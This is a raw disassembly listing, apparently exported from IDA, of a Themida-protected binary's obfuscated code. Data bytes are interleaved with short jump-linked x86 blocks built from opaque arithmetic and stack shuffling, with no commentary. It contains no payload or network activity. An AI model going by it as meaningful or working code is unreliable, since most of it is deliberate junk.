db 0C3h dd 8904EC83h, 92B42404h, 0FE27F480h, 80DCF6C4h, 0D4F6DAE4h dd 2EC480h, 24048BE3h, 4C481h, 0DBE90000h, 89FFFFBDh, 67E92404h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56913B: ; CODE XREF: Themida_:00561BEBj add esp, 4 jmp loc_5700FC ; --------------------------------------------------------------------------- dw 4BEh dd 0E9000000h, 141Ch, 2D24248Bh, 74857B8Fh, 16A2E9h, 241C3100h dd 8B241C33h, 3CD32424h, 7EE99C24h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56916F: ; CODE XREF: Themida_:00564CB5j and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 7 push 1296h mov [esp], ebx push esi push 662h mov [esp], ecx push 3EE533A1h pop ecx shr ecx, 4 push edx push eax push 619A654Eh pop eax sub eax, 2489584Fh xor eax, 47A075D3h sub eax, 451C718h mov edx, eax pop eax add ecx, edx jmp loc_56F950 ; --------------------------------------------------------------------------- dd 5EF1095Dh, 2731BD55h, 0A8E939E3h, 1FFFFAAh, 685652E8h dd 75741746h, 3DE94E5Eh, 87000094h, 895C2404h, 0C9E9242Ch dd 83FFFF54h, 3C8904ECh, 464FBF24h, 0BB530DA2h, 7301661Eh dd 815BDF29h, 79524BF7h, 86BEE902h, 3C8BFFFFh, 18CDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56920A: ; CODE XREF: Themida_:00570EA5j push ecx mov ecx, ebp mov esi, ecx mov ecx, [esp] add esp, 4 pop ebp push 53F3h mov [esp], edi jmp loc_56D816 ; --------------------------------------------------------------------------- dw 0F280h dd 80CAFE1Fh, 0DA8688EAh, 2414F653h, 35E9505Bh, 5E000049h dd 1AEB8166h, 0DA016628h, 5597E95Bh, 0F2010000h, 0D0C281h dd 875E1170h, 248B2414h, 4FF6624h, 8AE99C24h, 0F7FFFF40h dd 241C31D3h, 31241C33h, 0EFE9241Ch, 83FFFFCDh, 1C3302C3h dd 241C3124h, 0FFE27FE9h db 0FFh ; --------------------------------------------------------------------------- loc_569281: ; CODE XREF: Themida_:0056CE75j pop ebx sub ebx, ecx jmp loc_568535 ; --------------------------------------------------------------------------- db 80h, 0F5h, 5Bh dd 52531E2Ch, 7776E9h, 0BB535F00h, 59D91C4Fh, 0C15BD801h dd 762D03E8h, 29FCEAF2h, 84C7E9C5h, 0EB81FFFFh, 0ED54CD18h dd 595BDD01h, 0F75DE809h, 1FC2DD0h, 0C381F22Eh, 72E34957h dd 5857E9h db 0 ; --------------------------------------------------------------------------- loc_5692CD: ; CODE XREF: Themida_:00566365j pop ebx pop edi sub edx, 1B2E774Fh sub edx, ebx add edx, 1B2E774Fh push dword ptr [esp] pop ebx add esp, 4 add ebp, edx mov edx, [esp] push edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, eax jmp loc_560EAB ; --------------------------------------------------------------------------- db 8Bh dd 0EC81241Ch, 4, 89241C89h, 0ABB951E3h, 81450310h, 310AFF1h dd 8BCB0145h, 0C483240Ch, 35B1E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569326: ; CODE XREF: Themida_:0056B49Dj add ebp, 3E486F79h sub ebp, 9EBE2571h sub esp, 4 mov [esp], ecx mov ecx, 1A551945h jmp loc_5670A6 ; --------------------------------------------------------------------------- loc_569345: ; CODE XREF: Themida_:00562364j mov eax, [esp] push 52C1h mov [esp], edx mov edx, esp jmp loc_56E76A ; --------------------------------------------------------------------------- db 35h dd 71813B2Eh, 4EC81h, 0C890000h, 3FBFE924h, 0EE81FFFFh dd 0D2BDA977h, 0CCE9F089h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569377: ; CODE XREF: Themida_:005641DFj mov edx, [esp] push edi jmp loc_567539 ; --------------------------------------------------------------------------- loc_569380: ; CODE XREF: Themida_:005722E2j pop ecx add eax, 1 sub eax, 84064EFFh sub ebx, eax pop eax add ecx, ebx mov ebx, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] push edx jmp loc_570FB6 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 582434FFh, 0FFE7B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5693B1: ; CODE XREF: Themida_:00568389j xor dword ptr [esp], 231C5702h pop esi xor esi, 231C5702h push dword ptr [esp] pop ebx add esp, 4 sub esi, 1 push eax mov eax, 2AA7349Fh and esi, eax pop eax sub esi, 1 dec esi sub esi, 22820E80h and eax, esi push dword ptr [esp] jmp loc_5704D2 ; --------------------------------------------------------------------------- dd 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h, 0F7E95C24h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569407: ; CODE XREF: Themida_:005647C5j pop ecx mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 push esi push 7974h mov [esp], edi jmp loc_55E7B0 ; --------------------------------------------------------------------------- loc_569426: ; CODE XREF: Themida_:00560086j mov ebx, [esp] add esp, 4 add ebx, 50EC50ACh jmp loc_56C60E ; --------------------------------------------------------------------------- loc_569437: ; CODE XREF: Themida_:0056204Fj xchg ebp, [esp] jmp loc_5672F1 ; --------------------------------------------------------------------------- loc_56943F: ; CODE XREF: Themida_:005674ECj mov esi, 26465B96h sub esi, 0CC30090Bh add ecx, 4AF859D0h sub ecx, esi push ebp jmp loc_571299 ; --------------------------------------------------------------------------- dd 46B3E381h, 4683267h, 89000042h, 0ABE92434h, 81FFFFCEh dd 4C4h, 0EDE8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569476: ; CODE XREF: Themida_:0057148Ej and eax, edx mov edx, [esp] push eax push esp pop eax jmp loc_569650 ; --------------------------------------------------------------------------- db 68h dd 1272h, 0E9240C89h, 2FFDh ; --------------------------------------------------------------------------- loc_569490: ; CODE XREF: Themida_:0056799Ej mov ecx, 72DA10C3h mov ebx, ecx mov ecx, [esp] push edx jmp loc_56FAB2 ; --------------------------------------------------------------------------- dd 50076852h, 148B4582h, 4C48324h, 0F281D2F7h, 8A77B94Dh dd 515AD389h, 112E77B9h, 8BCB214Bh, 7E9240Ch db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5694C7: ; CODE XREF: Themida_:0056390Bj push edx mov edx, 1D265EAh shr edx, 3 or edx, 3FCF003Ah xor edx, 572E2521h not edx sub edx, 0C12FA551h sub esi, edx pop edx push ebx push esi mov esi, 0 jmp loc_564242 ; --------------------------------------------------------------------------- db 1 dd 58042444h, 57241C8Bh, 0F6E9E789h, 0BFFFFF99h, 14EF1070h dd 34FFFB01h, 89505F24h, 0CA82E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569516: ; CODE XREF: Themida_:00569F84j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax mov ah, 0D9h push 3C46h mov [esp], ecx push edx push ecx mov cl, ah push ebx mov bl, cl mov dh, bl jmp loc_565E72 ; --------------------------------------------------------------------------- db 83h dd 0BE5604C4h, 614374E0h, 8146DEF7h, 0FFFFFFEEh, 0DC681FFh dd 0D12FEE09h, 6A3DE9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569562: ; CODE XREF: Themida_:00561477j mov [esp], ebx mov ebx, 41F24904h xor ebx, 7670B55h dec ebx xor ebx, 43A0137Eh add ebx, 2CD368D9h jmp loc_5681E9 ; --------------------------------------------------------------------------- aEtWs db '╧;E▓',0Dh,'WИ',0 db '*',0 db 0 ; --------------------------------------------------------------------------- loc_56958D: ; CODE XREF: Themida_:00567167j pop edx pop ecx mov esi, [esp] add esp, 4 sub ecx, 6CC31667h add ecx, ebp push edi mov edi, 6CC31667h jmp loc_57159A ; --------------------------------------------------------------------------- db 87h dd 248B2414h, 24D36624h, 0F8E99C24h, 83FFFFD9h, 895004C4h dd 405E0h, 4050000h, 87000000h, 565C2404h, 91AB4BEh, 0ACEEE901h dd 0E581FFFFh, 50317E65h, 2DBD5550h, 0E909EF5Bh, 5325h ; --------------------------------------------------------------------------- loc_5695EC: ; CODE XREF: Themida_:0055EC10j xor edi, ebx jmp loc_55ECAA ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFF517h, 8904EC83h, 0E955240Ch, 68D3h dd 4EC81h, 24890000h, 24048324h, 0BAF6E904h, 0C138FFFFh dd 3CCBE99Ch, 0EE81FFFFh, 2A43684h, 875EF001h, 0B7E92404h dd 80FFFFE1h, 0F3002DEBh, 7773E9h, 24048700h, 0E7D0E95Ch dd 94B9FFFFh, 0E9C0F954h, 0FFFFDBB4h ; --------------------------------------------------------------------------- loc_569650: ; CODE XREF: Themida_:0056947Ej sub esp, 4 mov [esp], ebp jmp loc_568F6B ; --------------------------------------------------------------------------- dw 815Bh dd 5422A6C6h, 0BDBB5365h, 29DBEA81h, 0F5295BDEh, 4741E9h db 0 ; --------------------------------------------------------------------------- loc_569675: ; CODE XREF: Themida_:0055D349j add esi, 73159F8h xor esi, 1CD88419h sub [esp+4], esi pop esi pop ecx sub esp, 4 mov [esp], ebp jmp loc_56C4B9 ; --------------------------------------------------------------------------- db 0B4h, 0CEh, 0C0h dd 536602E4h, 0FC20ADB7h, 241C8B66h, 7AF2E9h, 0F7579700h dd 975F2414h, 5052D0F7h, 0A038768h, 1A05584Ah, 0E9717F76h dd 2FFDh, 8324148Bh, 0C48304C4h, 1284E904h, 0B8500000h dd 406F18D8h, 0DC922B35h, 58C3298Fh, 3899EA81h, 0DA015D88h dd 3899C281h, 875B5D88h, 0E95C2414h, 60CDh ; --------------------------------------------------------------------------- loc_5696F8: ; CODE XREF: Themida_:00571CADj shl ebp, 6 sub ebp, 31C30AF1h jmp loc_567B5C ; --------------------------------------------------------------------------- dw 0E2E9h dd 89FFFF3Bh, 5EF089EEh, 0FF8433E9h, 0C1C181FFh, 2930266Ch dd 240C8BCFh, 4C481h, 0D7680000h, 8900004Ah, 83E92414h dd 0E900006Fh, 0FFFF3BB5h, 0FF3BB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_56973D: ; CODE XREF: Themida_:00566C5Ej inc edi jmp loc_56B512 ; --------------------------------------------------------------------------- db 0C1h dd 7E2D02E0h, 5704614h, 67A8EF36h, 0BCE9C329h, 0C1000066h dd 8EE902EDh, 81FFFFB6h, 34AC22EBh, 5BD829B1h, 16D3EB81h dd 0C38141D6h, 4F2815F0h, 0E951C329h, 8F1Dh, 0E0EE815Bh dd 815B4216h, 52E6A2C6h, 33062D49h, 0F0017083h, 3495BF57h dd 0E7814E88h, 762E1E8Bh, 7EFC147h, 5DF78147h, 0E90F545Eh dd 6C8Fh ; --------------------------------------------------------------------------- loc_5697AC: ; CODE XREF: Themida_:0056C249j xor esi, ebx pop ebx mov edx, esi pop esi push edx push 3CF13C85h jmp loc_5638D9 ; --------------------------------------------------------------------------- db 0BDh, 0F4h, 6Ch aA@slv db 'М@И▀v',0 db 0 ; --------------------------------------------------------------------------- loc_5697C7: ; CODE XREF: Themida_:0056384Cj or ebp, edi pop edi jmp loc_5683D5 ; --------------------------------------------------------------------------- db 5Dh dd 0CBE9DE21h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5697D7: ; CODE XREF: Themida_:0056BFF7j mov bh, ch pop ecx xor al, bh mov bx, [esp] sub esp, 4 mov [esp], eax push esp jmp loc_564C9E ; --------------------------------------------------------------------------- db 0FFh dd 0E95E2434h, 190Eh, 0FF04C483h, 0C8B2434h, 4C48324h dd 4C481h, 57500000h, 32556853h, 0FFE90782h, 0F000032h dd 8F66C0B6h, 71E98704h, 50FFFFF1h, 2434FF5Dh, 4C48358h dd 2C8BEB31h, 4C48324h, 4CADBE56h, 0C38113F9h, 2492569Dh dd 0FFF37CE9h, 241487FFh, 8924248Bh, 4CE92404h, 29000037h dd 0C3815AD3h, 100E4ED5h, 3FA2E9h, 241C8B00h, 8104C483h dd 0A61E6FEAh, 0E9D50141h, 5A00h ; --------------------------------------------------------------------------- loc_569874: ; CODE XREF: Themida_:0056863Fj mov ebx, [esp] jmp loc_56F504 ; --------------------------------------------------------------------------- loc_56987C: ; CODE XREF: Themida_:0056A2BBj pop esp jmp loc_55D898 ; --------------------------------------------------------------------------- dw 8166h dd 66110AEAh, 6283C281h, 66FA2966h, 6283EA81h, 0BE665653h dd 91E95180h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56989F: ; CODE XREF: Themida_:0055DC1Aj sub ebx, 57DF463Eh pop eax jmp loc_569C1C ; --------------------------------------------------------------------------- db 81h dd 4C7h, 0A140E900h, 489FFFFh, 0E613E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5698BE: ; CODE XREF: Themida_:0056CE4Fj pop edi shr ecx, 1 jmp loc_566599 ; --------------------------------------------------------------------------- dw 0F729h dd 243C875Eh, 2424895Ch, 4240481h, 5F000000h, 0FF8247E9h db 0FFh ; --------------------------------------------------------------------------- loc_5698DD: ; CODE XREF: Themida_:0056020Ej push eax jmp loc_55E525 ; --------------------------------------------------------------------------- db 29h dd 7535E9F7h, 0BB530000h, 3B046E92h, 4A71E9h, 5EF78900h dd 5752EF81h, 0C7017D6Ch, 5752BA52h, 0D7017D6Ch, 2434FF5Ah dd 582434FFh, 0D00E9h db 0 ; --------------------------------------------------------------------------- loc_569915: ; CODE XREF: Themida_:0055D6CDj push 444Ch mov [esp], ebp push 4580h jmp loc_56AC1A ; --------------------------------------------------------------------------- db 0C0h dd 0CBFE07EBh, 801AE380h, 0DE301AF3h, 3BFAE9h db 0 ; --------------------------------------------------------------------------- loc_569939: ; CODE XREF: Themida_:00564587j mov edx, 347B121Dh mov ebp, 2C974F40h xor ebp, edx jmp loc_568009 ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 4C5815Dh, 81000000h, 4C5h, 4EC8300h, 0FF242C89h dd 8B042474h, 0C481242Ch, 4, 8B24048Fh, 0C1812424h, 4 dd 1BF768h, 241C8900h, 4BBh, 4290E900h, 3B90000h, 0E92FF845h dd 16EAh, 0E9290458h, 2856h ; --------------------------------------------------------------------------- loc_5699A4: ; CODE XREF: Themida_:0055FD48j pop ebp xor edx, ecx mov ecx, [esp] add esp, 4 jmp loc_567D84 ; --------------------------------------------------------------------------- db 29h, 0D0h, 5Ah dd 8158C701h, 5264E9C7h, 8BFB2979h, 0C483243Ch, 0F4F38104h dd 892AED6Ch, 0E6815BDEh, 58811C28h, 3C25C681h, 0A6E913D6h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_5699E3: ; CODE XREF: Themida_:00568DAEj sub dword ptr [esp], 57294716h mov eax, [esp] push 5952h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_571CC3 ; --------------------------------------------------------------------------- dw 515Ah dd 0FF72BFE9h, 4EBFBFFFh, 0FA0107BDh, 0E9243C8Bh, 0FFFF6748h ; --------------------------------------------------------------------------- loc_569A24: ; CODE XREF: Themida_:00563711j sub edx, 33384Dh sub esi, edx mov edx, [esp] add esp, 4 neg esi push edi mov edi, 0 add edi, 62E878BEh sub edi, 0AAC1969h sub edi, esi push ebp mov ebp, 0AAC1969h add edi, ebp pop ebp jmp loc_57299B ; --------------------------------------------------------------------------- dw 0EC83h dd 241C8904h, 4BBh, 0EDC28100h, 817A1C0Fh, 2B5F69EAh, 0DE33E971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569A72: ; CODE XREF: Themida_:0056D172j mov edi, 6A9F12CAh add [esp+8], edi jmp loc_56CD49 ; --------------------------------------------------------------------------- dd 4C08B951h db 2Ah, 57h, 49h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55EAFE ; --------------------------------------------------------------------------- db 87h dd 895C2434h, 0C9682414h, 8900003Ah, 4832424h, 835A0424h dd 2C8904ECh, 0E9505624h, 528Ah, 44A5EE81h, 0F2016396h dd 1AE9535Eh, 5FFFFF7Dh, 0E9C28952h, 4F5Dh, 83B204ACh dd 148904ECh, 5109B624h, 0ED8084B5h, 70A7E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569ADE: ; CODE XREF: Themida_:00570AA4j mov [esp], eax push ecx mov ecx, 30A247B7h mov eax, 6F3B17ACh xor eax, ecx pop ecx add edi, eax pop eax add edi, ebp sub edi, 5F99501Bh mov ebp, [esp] jmp loc_56676F ; --------------------------------------------------------------------------- dw 0D529h dd 0FFC88FE9h db 0FFh ; --------------------------------------------------------------------------- loc_569B09: ; CODE XREF: Themida_:00565A0Cj pop eax add dl, cl jmp loc_562054 ; --------------------------------------------------------------------------- loc_569B11: ; CODE XREF: Themida_:0056AC8Bj sub edx, 278F7C4Ah mov edi, edx pop edx jmp loc_561C27 ; --------------------------------------------------------------------------- loc_569B1F: ; CODE XREF: Themida_:005635F9j mov [esp], edx mov edx, 4BE02824h neg edx push ecx jmp loc_5607DA ; --------------------------------------------------------------------------- loc_569B2F: ; CODE XREF: Themida_:00563492j pop ebx and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5605A0 ; --------------------------------------------------------------------------- dw 34FFh dd 0D0E95824h, 0C0FFFF51h, 0EAC007EAh, 0CF28007h, 148BD008h dd 4C48324h, 0C3005604h, 0BEC38058h, 0EB80D300h, 33EB80BEh dd 8124148Bh, 4C4h, 0C0B60F00h, 6887048Dh, 2B38h, 0E9240489h dd 0FFFF3761h, 66CFE956h, 0CF01FFFFh, 0B9E5E959h, 815EFFFFh dd 4C4h, 4C68100h, 83000000h, 0EC8302C6h, 6DE0E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569BB2: ; CODE XREF: Themida_:0056A1DAj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_571E5A ; --------------------------------------------------------------------------- loc_569BC6: ; CODE XREF: Themida_:0055E496j pop eax xor ebp, edi mov edi, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push edi mov edi, 4 jmp loc_56F78C ; --------------------------------------------------------------------------- loc_569BE2: ; CODE XREF: Themida_:00565165j pop eax xor esi, 0F52D8BFDh jmp loc_560AD0 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 81000000h, 4C2h, 24148700h, 57D1E95Ch, 94B8FFFFh dd 40074328h, 43289135h, 58C30107h, 0E904C383h, 8D68h ; --------------------------------------------------------------------------- loc_569C1C: ; CODE XREF: Themida_:005698A6j shr ebx, 6 jmp loc_56D4B8 ; --------------------------------------------------------------------------- dd 64E468h, 722D6800h, 0C890000h, 81E18924h, 4C1h, 0BE7DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569C3E: ; CODE XREF: Themida_:0055DE5Dj mov ebx, esp sub esp, 4 mov [esp], esi mov esi, 7CEB0A18h shl esi, 6 sub esi, 3AC285FCh add ebx, esi pop esi sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_56E072 ; --------------------------------------------------------------------------- dd offset dword_43AE68+400h dd 24348900h, 16EB6853h, 815B1A85h, 7AE917C3h, 2C8153E5h dd 0BE182E24h, 0D6BEE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569C8A: ; CODE XREF: Themida_:00564EC8j push esp pop ebp add ebp, 4 push ebx mov ebx, 4 add ebp, 7DBD3F7Ch add ebp, ebx jmp loc_562AB4 ; --------------------------------------------------------------------------- db 40h, 5, 1Ch aIafhLbpLTtrssb db '╗²fH%лlbp',0Dh,'l{TTRИ≥b',0 align 4 loc_569CBC: ; CODE XREF: Themida_:0056D8C2j add al, 48h jmp loc_565A55 ; --------------------------------------------------------------------------- db 0ADh dd 2A41662Dh, 0F42D66h, 0D8016C7Dh, 7D00F405h, 0E089506Ch dd 405h, 4E88300h, 0E9240487h, 0FFFFA7BDh, 0D6E943B3h dd 0BF00008Ah, 478A389Ah, 1686E781h, 0E7D17D51h, 6486E781h dd 76E94DCAh, 8BFFFF52h, 0C483242Ch, 0FF575B04h, 0E9042474h dd 3D06h, 0E95DEA89h, 3505h, 8BCA315Eh, 0C481240Ch, 4 dd 34FFD689h, 0C4815A24h, 4, 6F67E9h, 45DDF700h, 0FFA6C0E9h dd 0C4E957FFh, 8300005Fh, 46E904C4h, 52000080h, 0F7295A5Eh dd 4EC835Eh, 0E9243C89h, 0FFFFB1E6h, 1CCABF57h, 0E3E96638h dd 83000065h, 248904ECh, 24048124h, 4, 4E3AE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569D82: ; CODE XREF: Themida_:0056DE83j push esi jmp loc_56A76B ; --------------------------------------------------------------------------- dd 4BB53h, 8C680000h, 89000015h, 2CE9242Ch, 0FFFFFFB9h dd 354BE932h, 8B66FFFFh, 8356240Ch, 37E904ECh, 81FFFF55h dd 4C7h, 243C8700h, 0FFCF34E9h, 48B5AFFh, 4C48124h, 51000000h dd 0CB2880B1h, 23B65259h, 5088F680h, 0A2E930B4h, 55FFFFBDh dd 5404EC83h, 8124048Fh, 42404h, 2C8B0000h, 4C48324h, 50685253h dd 5A24D25Bh, 0F708E2C1h, 0DCE281DAh, 810E4371h, 3004F2h dd 0E9D3890Ch, 8BEEh, 7156BA52h, 0EAC1352Ah, 81DAF703h dd 0B65B4CC2h, 0C6EA817Ch, 81198E7Ah, 4A7F56E2h, 92BB537Dh dd 812FBC67h, 0AC540DEBh, 5BDA091Fh, 0FFC7C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_569E41: ; CODE XREF: Themida_:0056A5FCj push eax mov edx, [esp] add esp, 4 push dword ptr [esp] pop eax jmp loc_5641A8 ; --------------------------------------------------------------------------- dd 0C381EB01h, 40C5566Ch, 74FF535Dh, 0F8E90424h, 81000007h dd 4ECh, 24048900h, 0E215AA68h, 48A6E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_569E7A: ; CODE XREF: Themida_:00568659j jmp loc_55D2ED ; --------------------------------------------------------------------------- aYxh@ db 'YXhл@',0 align 2 dw 1C89h dd 7BD2BB24h, 0CB8149C0h, 3D797695h, 802D6857h, 0E95F8206h dd 0FFFFB02Dh ; --------------------------------------------------------------------------- loc_569EA0: ; CODE XREF: Themida_:005689E6j mov eax, 73B2CC4h not eax not eax shl eax, 7 neg eax xor eax, 74314A87h add eax, 753139F3h sub esi, eax jmp loc_566929 ; --------------------------------------------------------------------------- align 10h dd 290368D8h, 1C890000h, 536EB324h, 5B2414F6h, 0C3FED3F6h dd 284CF380h, 241C8BD8h, 0FFE793E9h, 87595FFFh, 248B242Ch dd 24042024h, 33FBE99Ch, 0E589FFFFh, 4BF57h, 0FD010000h dd 4ED835Fh, 5C242C87h, 81241C89h, 4ECh, 24248900h, 3F0AE9h dd 0EEC14600h, 4761E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569F1E: ; CODE XREF: Themida_:005638D4j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] and eax, esi mov esi, [esp] add esp, 4 shr eax, 12h jmp loc_562706 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 58C10100h, 2474FF51h, 48F5904h, 69FFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569F5A: ; CODE XREF: Themida_:0055F25Dj add edx, ecx pop ecx add edx, 4 xchg edx, [esp] jmp loc_564EC6 ; --------------------------------------------------------------------------- loc_569F6B: ; CODE XREF: Themida_:0056BECCj mov edi, 34651826h xor edi, ebx pop ebx add ebp, edi pop edi xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebx push eax jmp loc_569516 ; --------------------------------------------------------------------------- db 31h, 0F0h, 8Bh dd 0C4832434h, 0ECBD5504h, 562B39BFh, 3876BB53h, 88E97AAEh dd 81000057h, 0FA8561F5h, 0EA07E982h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569FAE: ; CODE XREF: Themida_:00563B67j mov edi, 527B53A0h sub edi, 0FFFFFFFFh push edx jmp loc_5630F0 ; --------------------------------------------------------------------------- loc_569FBF: ; CODE XREF: Themida_:0056BF36j push 534E4A7Eh jmp loc_5711C3 ; --------------------------------------------------------------------------- db 66h, 68h, 2 dd 0C8B663Ah, 2C48124h, 66000000h, 4816651h, 66FFFF24h dd 57240C8Bh, 8E1E9h, 2E28100h, 8136DD7Dh, 243469F2h, 5AD78972h dd 0FF5FC3E9h db 0FFh ; --------------------------------------------------------------------------- loc_569FFD: ; CODE XREF: Themida_:005610DAj push 4933h mov [esp], esi push ecx mov ecx, 5C76CE0h jmp loc_55E534 ; --------------------------------------------------------------------------- dd 27E9D8F6h, 89000010h, 96E92404h, 89FFFF87h, 0E8C15DE8h dd 12D05h, 0E9570000h, 218Ah, 24048B66h, 0FF706BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56A039: ; CODE XREF: Themida_:00565068j push esp mov edx, [esp] add esp, 4 add edx, 4 push eax mov eax, 7DAD169Eh jmp loc_564ACB ; --------------------------------------------------------------------------- db 5Bh, 81h, 0EEh dd 208370C3h, 0C681FE01h, 208370C3h, 81243C8Bh, 4C4h, 6284E900h dd 4F21FFFFh, 67BDE91Ch, 0D8F7FFFFh, 0BA04E997h, 0D568FFFFh dd 59170442h, 5EDE181h, 0E18137C5h, 29E55D3Bh, 22F18149h dd 6823EB50h, 554Bh, 58240C89h, 1550E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A0A6: ; CODE XREF: Themida_:0056801Bj mov [esp], edi jmp loc_567C37 ; --------------------------------------------------------------------------- dw 0EF01h dd 4C7835Dh, 5C243C87h, 1176E9h, 24348100h, 7C004EE8h dd 0E8F7815Fh, 587C004Eh, 4F02EFC1h, 5ACEF781h, 1FE964DBh db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56A0DB: ; CODE XREF: Themida_:005654FEj pop edi push esi jmp loc_5661D0 ; --------------------------------------------------------------------------- dw 0EF01h dd 74FF575Dh, 64E90424h, 68FFFFDCh, 6C49h, 0E9240489h dd 0FFFF4405h, 33240C31h, 248B240Ch, 7628E924h, 0F729FFFFh dd 0FFC21BE9h, 0B3C381FFh, 124E475h, 0B3EB81D3h, 0E924E475h dd 0FFFFE912h, 4245429h, 0C292E95Ah, 77FFFFFFh, 59669D1Ch dd 9C241CD2h, 0FF31B0E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A13D: ; CODE XREF: Themida_:005645D0j add dword ptr [esp], 530B5413h mov ecx, [esp] push ebp jmp loc_56500A ; --------------------------------------------------------------------------- loc_56A14D: ; CODE XREF: Themida_:005634A0j mov edx, ecx mov ebp, edx pop edx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] shl ebp, 6 not ebp inc ebp push esi mov esi, 2C3E2A2Bh or esi, 603416BBh shl esi, 8 sub esi, 3A0F21EAh jmp loc_56D9B7 ; --------------------------------------------------------------------------- loc_56A187: ; CODE XREF: Themida_:0056F371j sub esp, 4 mov [esp], ebx mov ebx, 6D5459B3h shl ebx, 3 shr ebx, 3 sub ebx, 0F0C800E3h and ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 44551D79h jmp loc_56DE79 ; --------------------------------------------------------------------------- loc_56A1B4: ; CODE XREF: Themida_:0056D2BCj xchg esi, [esp] pop esp jmp loc_56581A ; --------------------------------------------------------------------------- db 28h, 0F8h, 0E9h dd 0FFFF4ECFh, 1D22F581h, 0EB293D8Fh, 1C875F5Dh, 49E95C24h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A1D7: ; CODE XREF: Themida_:0055DF85j mov edi, [esp] jmp loc_569BB2 ; --------------------------------------------------------------------------- aB4iIYhL db '│а°4╗╢┴кYh^l',0 dd 24148900h, 934972BAh, 0DAF7426Ah, 8308E2C1h, 0F281FFEAh dd 2F23298Dh, 7C5FC281h, 0D309E096h, 7587685Ah, 3C890000h dd 5382BF24h, 0FB312A2Bh, 0E9DF015Fh, 0FFFFBD12h ; --------------------------------------------------------------------------- loc_56A224: ; CODE XREF: Themida_:00567FB5j push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] jmp loc_56155E ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 9198E904h, 0DD01FFFFh, 52241C8Bh, 0FF5366E9h dd 4C481FFh, 0E9000000h, 0FFFF3099h, 24048B66h, 87AFE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56A25E: ; CODE XREF: Themida_:0056C75Cj xchg ebp, [esp] pop esp mov [esp], edx push 4000h mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_563AB7 ; --------------------------------------------------------------------------- dw 0ED81h dd 51FECA35h, 255DE889h, 127C0BF7h, 0FFCDF2E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A291: ; CODE XREF: Themida_:00562A55j sub eax, edx add eax, 543D71C1h sub eax, 2D043819h push dword ptr [esp] pop edx add esp, 4 jmp loc_56D0A4 ; --------------------------------------------------------------------------- loc_56A2AC: ; CODE XREF: Themida_:00564953j mov edi, 7E005F16h and ebp, edi jmp loc_56EB59 ; --------------------------------------------------------------------------- loc_56A2B8: ; CODE XREF: Themida_:0055E0F1j pop dword ptr [esp] jmp loc_56987C ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 4EC8300h, 0E9243C89h, 0FFFF62E7h, 76A4F381h dd 4DE97059h, 0C1000022h, 0F28108EAh, 5AB119D7h, 0EB3BF281h dd 0E9536641h, 0FFFF6645h, 0C581D5F7h, 0BB72966h, 4C04F581h dd 0EF01F37Dh, 0FFF9FEE9h, 7DE95BFFh, 1000053h, 242C8BE8h dd 2D04C483h, 4, 162068h, 24048900h, 42474FFh, 24048F58h dd 0E924248Bh, 1B42h, 253AE95Ah db 2 